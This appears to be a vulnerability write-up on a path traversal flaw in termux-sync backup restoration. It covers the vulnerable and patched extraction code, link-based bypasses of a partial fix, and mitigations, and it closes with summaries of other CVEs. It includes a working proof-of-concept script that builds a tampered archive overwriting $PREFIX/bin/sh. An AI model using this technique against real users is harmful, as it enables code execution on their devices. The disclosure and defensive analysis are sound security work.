Dec 3, 2026·10 min read·7 visits
An overly permissive extraction jail in termux-sync < 1.3.8 allows malicious backup archives to write files outside their designated subdirectories, enabling attackers to overwrite executables in $PREFIX/bin and achieve arbitrary code execution when a user restores an untrusted or tampered backup.
CVE-2026-141553 (GHSA-x9x8-xcv7-5x5g) is a medium-severity path traversal and arbitrary file overwrite vulnerability in termux-sync prior to version 1.3.8. During backup restoration, the cmd_restore function computes the extraction containment boundary as the parent directory of the target backup folder ($PREFIX or .../files) rather than the specific subdirectory itself. Consequently, a crafted backup archive (such as usr_etc.tar.gz) can extract files into sibling directories like $PREFIX/bin, overwriting system executables such as $PREFIX/bin/sh and achieving arbitrary code execution within the Termux user context.
termux-sync is a Python-based command-line utility used to back up and restore configurations, installed package lists, user home directories, and system libraries within the Termux Android terminal environment. Termux operates within a non-root single-user directory structure on Android devices, storing its userland packages and executables under $PREFIX (typically /data/data/com.termux/files/usr) and user files under $HOME (/data/data/com.termux/files/home).
When creating a backup, termux-sync archives specific subdirectories defined in its BACKUP_ITEMS configuration tuple—namely $HOME (home.tar.gz), $PREFIX/etc (usr_etc.tar.gz), and $PREFIX/lib (usr_lib.tar.gz)—alongside a JSON manifest (manifest.json) containing metadata and SHA-256 checksums. During a restore operation via cmd_restore, the utility parses manifest.json, verifies archive integrity, and extracts each tar archive back into the local filesystem.
In versions prior to 1.3.8, the archive extraction routine suffers from an improper containment boundary calculation classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). Rather than confining the extraction of usr_etc.tar.gz strictly to $PREFIX/etc, the extraction jail is set to its parent directory, $PREFIX. Similarly, the extraction boundary for home.tar.gz is set to /data/data/com.termux/files, which encompasses both $HOME and $PREFIX.
Because the containment boundary encompasses the entire $PREFIX hierarchy, an attacker who supplies a crafted backup archive or tampers with an existing backup stored on a remote synchronization backend can place arbitrary files into $PREFIX/bin. Overwriting standard shell binaries or commonly invoked utilities (such as $PREFIX/bin/sh or $PREFIX/bin/bash) results in arbitrary code execution under the Termux application user context the next time the binary is invoked.
The root cause of CVE-2026-141553 lies in a mismatch between how termux-sync constructs archive paths during backup creation and how it validates destination paths during archive extraction. When creating an archive in create_archive(), the tool adds the target directory using arcname=source_path.name. For example, when backing up $PREFIX/etc, every valid member inside usr_etc.tar.gz is prefixed with etc/ (e.g., etc/motd, etc/bash.bashrc).
Because the archive member paths already include the top-level directory name (etc/, lib/, or home/), the restoration routine must extract the archive relative to the parent directory of the target folder so that etc/motd lands at $PREFIX/etc/motd rather than $PREFIX/etc/etc/motd. In cmd_restore(), the developer assigned this parent directory as the security validation root (allowed_roots):
BACKUP_ITEMS = [
("packages", "Installed package list", None),
("home", "Home directory (~)", TERMUX_FILES),
("usr_etc", "Termux config (/usr/etc)", TERMUX_HOME / "etc"),
("usr_lib", "Termux libraries (/usr/lib)", TERMUX_HOME / "lib"),
]
allowed_roots = {}
for item_key, _label, item_root in BACKUP_ITEMS:
if item_root is not None:
allowed_roots[item_key] = Path(item_root).resolve().parentDuring extraction, extract_archive() passes allowed_roots[item_key] as dest_path to _safe_extract_member(). The _safe_extract_member() helper attempts to prevent path traversal by resolving (dest_path / member_name).resolve() and verifying that it remains relative to dest_root (which is set to dest_path.resolve()). However, because dest_root is $PREFIX for usr_etc and usr_lib, and /data/data/com.termux/files for home, _safe_extract_member() never checks whether the archive member actually begins with the expected top-level directory prefix (etc, lib, or home).
This architectural flaw created three distinct escape vectors depending on the manifest entry used:
usr_etc (usr_etc.tar.gz): Intended scope is $PREFIX/etc, but the effective jail is $PREFIX, exposing $PREFIX/bin, $PREFIX/lib, and $PREFIX/libexec.usr_lib (usr_lib.tar.gz): Intended scope is $PREFIX/lib, but the effective jail is $PREFIX, exposing the same sibling directories.home (home.tar.gz): Intended scope is /data/data/com.termux/files/home, but .parent resolves to /data/data/com.termux/files, exposing the entire $PREFIX (usr/) tree alongside $HOME.Furthermore, when the vendor released version 1.3.7 to address this issue by checking Path(member.name).parts[0] == expected_top, an incomplete fix condition remained. Checking only the string components of member.name failed to inspect the resolved targets of symbolic links (member.issym()) and hard links (member.islnk()), or whether intermediate path components traversed pre-existing or newly extracted symlinks pointing outside the intended subdirectory.
In termux-sync versions <= 1.3.6, extract_archive() and _safe_extract_member() in src/termux_sync/__init__.py (and the standalone termux-sync.py script) implemented extraction validation without enforcing sub-tree prefix confinement:
# Vulnerable implementation in <= 1.3.6
def _safe_extract_member(
tar: tarfile.TarFile,
member: tarfile.TarInfo,
dest_path: Path,
dest_root: Path,
):
member_name = member.name
member_path = Path(member_name)
if member_path.is_absolute() or ".." in member_path.parts:
raise ValueError(f"Unsafe path in archive: {member_name!r}")
target = (dest_path / member_name).resolve()
try:
# BUG: dest_root is $PREFIX (e.g., .../files/usr), NOT .../files/usr/etc.
# A member named 'bin/sh' resolves to .../files/usr/bin/sh, which is inside dest_root.
target.relative_to(dest_root)
except ValueError:
raise ValueError(f"Path traversal attempt in archive: {member_name!r}")
if member.isdev() or member.ischr() or member.isblk() or member.isfifo():
raise ValueError(f"Refusing to extract special file from archive: {member_name!r}")
tar.extract(member, path=dest_path, filter="fully_trusted")The first remediation attempt in commit 3dd44a266cc9fba816c684164067616c7c0ef61d (released as v1.3.7) introduced expected_tops in cmd_restore() and a helper function _check_member_root() to verify that the first path segment of every archive member matched the expected subdirectory name (home, etc, or lib):
# Partial fix in commit 3dd44a266cc9fba816c684164067616c7c0ef61d (v1.3.7)
allowed_roots = {}
expected_tops = {}
for item_key, _label, item_root in BACKUP_ITEMS:
if item_root is not None:
allowed_roots[item_key] = Path(item_root).resolve().parent
expected_tops[item_key] = Path(item_root).resolve().name
def _check_member_root(member: tarfile.TarInfo, expected_top: str | None):
if expected_top is None:
return
parts = [p for p in Path(member.name).parts if p != "."]
if not parts or parts[0] != expected_top:
raise ValueError(
f"Archive member outside expected root {expected_top!r}: {member.name!r}"
)While commit 3dd44a266cc9fba816c684164067616c7c0ef61d blocked direct sibling paths like bin/sh, it called tar.extract(member, path=dest_path, filter="fully_trusted") without validating symlink or hardlink targets. An attacker could bypass the parts[0] == expected_top check in v1.3.7 via three link-based primitives:
etc -> bin followed by etc/sh.etc/link -> ../bin followed by etc/link/sh.etc/x targeting bin/sh (since tar hardlink targets are resolved relative to the extraction root dest_path) and subsequently overwriting etc/x.Commit 40a016331662c2c161f6045657b374fd00c05811 (released as v1.3.8) resolved these bypasses by computing the true sub-directory jail (dest_path / expected_top).resolve(), verifying that the canonicalized target falls within that jail via _within(target, jail), and explicitly resolving symlink (member.issym()) and hardlink (member.islnk()) destinations against the jail:
# Complete fix in commit 40a016331662c2c161f6045657b374fd00c05811 (v1.3.8)
def _within(path: Path, root: Path) -> bool:
return path == root or root in path.parents
def _check_member_root(member: tarfile.TarInfo, dest_path: Path, expected_top: str | None):
if expected_top is None:
return
parts = [p for p in Path(member.name).parts if p != "."]
if not parts or parts[0] != expected_top:
raise ValueError(
f"Archive member outside expected root {expected_top!r}: {member.name!r}"
)
# Enforce canonical containment within the specific subdirectory (e.g., $PREFIX/etc)
jail = (dest_path / expected_top).resolve()
target = (dest_path / member.name).resolve()
if not _within(target, jail):
raise ValueError(f"Archive member escapes {expected_top!r}: {member.name!r}")
# Validate symlink and hardlink destinations against the subdirectory jail
if member.issym() or member.islnk():
link_base = dest_path if member.islnk() else target.parent
resolved_link = (link_base / member.linkname).resolve()
if not _within(resolved_link, jail):
raise ValueError(
f"Archive link escapes {expected_top!r}: {member.name!r} -> {member.linkname!r}"
)> [!NOTE]
> In addition to fixing the archive extraction jail, commit 3dd44a266cc9fba816c684164067616c7c0ef61d also hardened package restoration in restore_packages() by validating package names against _PKG_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]*$") and passing -- to pkg install -y -- to prevent argument injection via malicious packages.txt entries.
Exploiting CVE-2026-141553 requires the victim to run termux-sync restore against an attacker-controlled or modified backup directory. In real-world usage, users frequently synchronize Termux backups across devices using cloud storage providers, WebDAV shares, S3 buckets, or public/shared Git repositories. If an attacker compromises the storage bucket or publishes a poisoned community configuration backup, any user restoring from that source is vulnerable.
When the victim initiates termux-sync restore, the CLI displays a high-level summary of the backup manifest and prompts for confirmation (Proceed with restore? [y/n]:). Crucially, the restore preview only outputs the backup name, timestamp, package count, and the number of archive entries in manifest.json (e.g., Archives: 1). It does not list individual file paths inside the .tar.gz archives, providing no visual indication that files outside $PREFIX/etc or $PREFIX/lib will be written.
To construct a functional exploit archive targeting termux-sync <= 1.3.6, an attacker builds a usr_etc.tar.gz archive containing both benign configuration files (etc/motd) and a replacement binary at bin/sh with mode 0755, paired with a valid manifest.json containing the archive's SHA-256 checksum:
import hashlib, io, json, tarfile
from pathlib import Path
def build_exploit_backup(backup_dir: Path):
backup_dir.mkdir(parents=True, exist_ok=True)
tar_path = backup_dir / "usr_etc.tar.gz"
def add_bytes(tf: tarfile.TarFile, arcname: str, data: bytes, mode: int = 0o644):
info = tarfile.TarInfo(name=arcname)
info.size = len(data)
info.mode = mode
tf.addfile(info, io.BytesIO(data))
with tarfile.open(tar_path, "w:gz") as tf:
# Normal expected file
add_bytes(tf, "etc/motd", b"Welcome to Termux\n", 0o644)
# Sibling traversal payload overwriting $PREFIX/bin/sh
payload = b"#!/data/data/com.termux/files/usr/bin/bash\necho PWNED_BY_CVE_2026_141553\n"
add_bytes(tf, "bin/sh", payload, 0o755)
digest = hashlib.sha256(tar_path.read_bytes()).hexdigest()
manifest = {
"name": "malicious_backup",
"date": "2026-01-01T00:00:00",
"files": {
"usr_etc": {
"archive": "usr_etc.tar.gz",
"size": tar_path.stat().st_size,
"checksum": digest,
}
},
"packages": [],
}
(backup_dir / "manifest.json").write_text(json.dumps(manifest, indent=2))When cmd_restore() processes this backup on an unpatched installation:
verify_checksum() validates the SHA-256 hash of usr_etc.tar.gz against manifest.json.extract_archive() iterates over the archive members with dest_path set to $PREFIX.bin/sh, _safe_extract_member() verifies that ($PREFIX / "bin/sh").resolve() is inside $PREFIX.tar.extract(member, path=dest_path, filter="fully_trusted") overwrites $PREFIX/bin/sh and applies the 0755 executable permissions specified in the TarInfo header./bin/sh within Termux executes the attacker's payload.The vulnerability is scored at CVSS v3.1 5.5 (Medium) with vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N. The Attack Vector is Local (AV:L) with User Interaction Required (UI:R) because the victim must actively invoke the restore routine on a malicious archive and confirm the interactive restore prompt. No prior privileges (PR:N) are required by the attacker.
Although the official CVSS vector rates Confidentiality (C:N) and Availability (A:N) as None—reflecting the immediate technical primitive of an arbitrary file overwrite (High Integrity impact, I:H)—the operational impact in a Termux environment is full compromise of the Termux user session. Because Termux executes inside an isolated Android application sandbox where the single application UID owns $PREFIX/bin, $PREFIX/lib, and $HOME, no privilege boundary separates configuration files from executables.
By overwriting binaries in $PREFIX/bin (such as sh, bash, ssh, or python) or injecting shared libraries into $PREFIX/lib, an attacker achieves persistent arbitrary code execution whenever the user interacts with the terminal. From this position, the attacker can exfiltrate SSH keys, API tokens, and git credentials stored in $HOME, or access shared Android storage (/sdcard) if the user has previously granted Termux the READ_EXTERNAL_STORAGE / MANAGE_EXTERNAL_STORAGE permission via termux-setup-storage.
At the time of publication, there is no evidence of active exploitation in the wild, no CISA KEV listing, and no public weaponized exploit modules beyond the proof-of-concept and regression tests provided in the official GitHub Security Advisory (GHSA-x9x8-xcv7-5x5g).
Users and automated deployments utilizing termux-sync must upgrade to version 1.3.8 or later. Version 1.3.7 contains only a partial fix that remains vulnerable to symlink and hardlink traversal escapes and should not be treated as a remediated release.
To upgrade termux-sync via PyPI within the Termux environment, run:
pip install --upgrade "termux-sync>=1.3.8"If upgrading immediately is not feasible, users should manually inspect the contents of any backup archives prior to executing termux-sync restore. Specifically, run tar -ztvf on usr_etc.tar.gz, usr_lib.tar.gz, and home.tar.gz to verify that every member path strictly begins with etc/, lib/, or home/ respectively, and that no symbolic links (l---------) or hard links (h---------) point to parent or sibling directories:
# Inspect archive members for anomalous top-level prefixes or links before restoring
tar -ztvf usr_etc.tar.gz | grep -vE '^[-d].* etc/'
tar -ztvf usr_lib.tar.gz | grep -vE '^[-d].* lib/'To detect potential post-exploitation tampering on a system where an untrusted backup was previously restored, audit package file checksums inside Termux using dpkg --verify to identify modified binaries in $PREFIX/bin or libraries in $PREFIX/lib. On patched installations (>= 1.3.8), rejected extraction attempts are logged as warnings in $HOME/.config/termux-sync/sync.log with the prefix Skipped unsafe archive member during restore:.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
termux-sync djunekz | < 1.3.8 (1.1.0 through 1.3.7) | 1.3.8 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-141553 / GHSA-x9x8-xcv7-5x5g |
| Weakness Class | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| CVSS v3.1 Score | 5.5 Medium (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N) |
| Affected Component | termux-sync < 1.3.8 (cmd_restore / extract_archive / _safe_extract_member) |
| Attack Vector | Local restoration of crafted backup archive containing sibling directory paths or outbound links |
| Security Impact | Arbitrary file overwrite in $PREFIX (e.g., $PREFIX/bin/sh) leading to arbitrary code execution |
| Exploit Status | Proof-of-Concept published in official GitHub Security Advisory (Not in CISA KEV) |
| Patched Version | termux-sync 1.3.8 |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-141546 (GHSA-wfmg-598x-58c5) is a path traversal vulnerability (CWE-22) in KiCad MCP Pro prior to version 4.20.1. Three variant export tools in src/kicad_mcp/tools/variants.py construct target output paths by joining unvalidated user-supplied arguments directly onto the validated output directory using Python's pathlib.Path concatenation operator. A caller invoking these tools with path traversal sequences or absolute file paths can bypass the KICAD_MCP_WORKSPACE_ROOT confinement boundary to create directories and write or overwrite arbitrary files on the host filesystem.
CVE-2026-14534 (GHSA-m6fh-58r7-x697, PYSEC-2026-2149) is a high-severity security verification bypass in Trail of Bits Fickling up to version 0.1.10. Fickling is a Python pickle decompiler and static analysis tool used to detect malicious payloads in serialized objects and machine learning models. The vulnerability stems from an incomplete module blocklist (CWE-184) within Fickling's static analysis engine, which omitted the Python standard library modules _posixsubprocess, site, and atexit. Because Fickling classifies unblocked standard library imports as benign, malicious pickle streams utilizing these modules receive a LIKELY_SAFE verdict. When applications rely on fickling.load() or fickling.loads() as a defensive gate prior to deserialization, the bypass allows untrusted pickle bytecode to pass directly into Python's native pickle.loads(), resulting in arbitrary code execution (CWE-502).
CVE-2026-141555 (GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (XSS) vulnerability in the Python HTML sanitization library lxml-html-clean prior to version 0.4.7. The vulnerability stems from a parser differential between libxml2 and HTML5 browser parsing engines when handling HTML comments nested within raw-text and escapable raw-text elements (such as <noscript>, <textarea>, <title>, and <iframe>). When the cleaner is instantiated with the non-default configuration comments=False, an attacker can embed a closing tag inside an HTML comment to prematurely terminate the raw-text container in the client browser and execute arbitrary JavaScript.
CVE-2026-141556 (GHSA-5gvf-7wqf-r4cv) is an input sanitization bypass vulnerability resulting in Cross-Site Scripting (XSS) in lxml-html-clean versions through 0.4.6. When the Cleaner class is initialized with safe_attrs_only=False and javascript=True, the link sanitization mechanism relies exclusively on lxml.html.defs.link_attrs via doc.rewrite_links(). Because this attribute list omits the iframe srcdoc attribute and SVG SMIL animation value attributes (to, from, by, values), attackers can inject arbitrary HTML and JavaScript payloads that survive sanitization.
CVE-2026-140000 (also tracked as GHSA-j7r2-xppq-m353) is an uncontrolled resource consumption vulnerability in the faye/websocket-driver-node package prior to version 0.8.2. The StreamReader.read() implementation relies on Buffer.slice() when extracting small segments from incoming network buffers. Because Node.js Buffer slices share underlying memory with their parent ArrayBuffer, small fragmented WebSocket frames retain references to entire 16 KiB to 64 KiB TCP read buffers. An unauthenticated remote attacker can transmit a sequence of incomplete fragmented frames to prevent garbage collection of the parent TCP buffers, causing severe memory inflation and a denial of service via out-of-memory process termination.
CVE-2026-135390 is an authentication bypass vulnerability in the Pion DTLS Go library caused by improper validation of cached DTLS 1.2 sessions. When an application shares a single SessionStore across both outbound client connections and inbound server listeners, a remote server previously contacted by the application's client can reuse the negotiated session identifier and master secret to authenticate against the application's server listener via abbreviated session resumption, bypassing mutual TLS and Pre-Shared Key checks.